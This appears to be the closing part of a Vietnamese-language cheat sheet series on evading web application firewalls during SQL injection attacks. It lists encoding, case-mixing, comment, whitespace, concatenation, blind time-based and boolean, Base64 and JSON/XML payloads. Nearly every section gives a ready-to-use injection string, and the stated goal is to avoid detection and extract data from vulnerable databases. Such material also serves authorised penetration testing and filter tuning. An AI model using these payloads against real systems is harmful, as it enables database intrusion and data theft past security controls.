Table of Contents
Kỹ thuật bỏ qua WAF cho SQL Injection
Dưới đây là nhiều phương pháp khác nhau để bỏ qua WAF và thực hiện các cuộc
tấn công SQL injection. Mỗi kỹ thuật tận dụng các chiến lược che giấu, mã hóa
và thao túng khác nhau để tránh bị phát hiện.
Kỹ thuật bỏ qua WAF cho SQL Injection
1. Sử dụng Mã hóa và Làm tối nghĩa
Mã hóa URL
- Mã hóa một số phần của tải trọng để bỏ qua các cơ chế phát hiện từ khóa cơ bản được WAF sử dụng.
%27%20UNION%20SELECT%20NULL,NULL,NULL--
Mã hóa URL kép
- Mã hóa kép dữ liệu tải trọng để tránh các cơ chế phát hiện tinh vi hơn.
%2527%2520UNION%2520SELECT%2520NULL,NULL,NULL--
Mã hóa Hex
- Sử dụng mã hóa thập lục phân cho dữ liệu để che giấu các lệnh SQL.
' UNION SELECT 0x61646D696E, 0x70617373776F7264 --
2. Xử lý trường hợp và bình luận
Trường hợp hỗn hợp
- Thay đổi chữ hoa và chữ thường của từ khóa SQL để tránh bộ lọc phân biệt chữ hoa và chữ thường.
' uNioN SeLecT NULL, NULL --
Comments nội tuyến
- Chèn chú thích vào các từ khóa SQL để phá vỡ các mẫu dễ nhận biết.
' UNION/**/SELECT/**/NULL,NULL --
3. Khoảng trắng và ký tự đặc biệt
Sử dụng các ký tự khoảng trắng khác nhau
- Thay thế khoảng trắng bằng các ký tự khoảng trắng khác như tab hoặc xuống dòng để gây nhầm lẫn cho các bộ lọc khớp chuỗi đơn giản.
' UNION%0D%0ASELECT%0D%0A NULL,NULL --
Nối với các ký tự đặc biệt
- Sử dụng các ký tự đặc biệt và hàm nối để xây dựng tải trọng một cách động.
' UNION SELECT CHAR(117)||CHAR(115)||CHAR(101)||CHAR(114), CHAR(112)||CHAR(97)||CHAR(115)||CHAR(115) --
4. Làm tối nghĩa hàm và lệnh SQL
Nối chuỗi
- Chia chuỗi thành các phần nhỏ hơn và nối chúng lại để che giấu tải trọng.
' UNION SELECT 'ad'||'min', 'pa'||'ss' --
Sử dụng hàm SQL
- Tận dụng các hàm SQL để thao tác và làm tối nghĩa dữ liệu.
' UNION SELECT VERSION(), DATABASE() --
5. Tải trọng dựa trên thời gian và dựa trên Boolean
Tiêm SQL mù theo thời gian
- Sử dụng độ trễ thời gian để suy ra thông tin dựa trên thời gian phản hồi.
' AND IF(1=1, SLEEP(5), 0) --
Tiêm SQL mù dựa trên Boolean
Sử dụng câu lệnh có điều kiện để thay đổi câu trả lời dựa trên điều kiện đúng hoặc sai.
' AND IF(1=1, 'A', 'B')='A' --
6. Kỹ thuật mã hóa nâng cao
Mã hóa Base64
- Mã hóa dữ liệu bằng Base64 để bỏ qua bộ lọc nội dung.
' UNION SELECT FROM_BASE64('c2VsZWN0IHZlcnNpb24oKQ==') --
Các tập lệnh mã hóa tùy chỉnh
- Phát triển các tập lệnh tùy chỉnh để mã hóa và giải mã dữ liệu ở nhiều định dạng khác nhau nhằm tránh bị phát hiện.
7. Kỹ thuật xâu chuỗi
Kết hợp nhiều kỹ thuật bỏ qua
- Kết hợp nhiều kỹ thuật khác nhau để tạo ra các tải trọng phức tạp hơn và khó phát hiện hơn.
%27%20UNION/**/SELECT/**/CHAR(117)%7C%7CCHAR(115)%7C%7CCHAR(101)%7C%7CCHAR(114),%20CHAR(112)%7C%7CCHAR(97)%7C%7CCHAR(115)%7C%7CCHAR(115)%20--%0A
8. Tận dụng các tính năng SQL ít được biết đến
Sử dụng hàm JSON
- Tận dụng các hàm JSON để thao tác và trích xuất dữ liệu theo cách phức tạp hơn.
' UNION SELECT json_extract(column_name, '$.key') FROM table_name --
Sử dụng các hàm XML
- Sử dụng các hàm XML để xây dựng các tải trọng phức tạp hơn.
' UNION SELECT extractvalue(1, 'version()') --
Các kỹ thuật này nêu bật nhiều phương pháp khác nhau để bỏ qua WAF và thực hiện các cuộc tấn công SQL injection. Mỗi kỹ thuật tận dụng các chiến lược che giấu, mã hóa và thao tác khác nhau để tránh bị phát hiện và trích xuất dữ liệu từ các cơ sở dữ liệu dễ bị tấn công.
Hết phần Cuối
Phần 1 tại đây | Phần 2 tại đây | Phần 3 tại đây | Phần 4 tại đây | Phần 5 tại đây | Phần 6-1 tại đây | Phần 6-2 tại đây
Nguồn: https://nav1n0x.gitbook.io/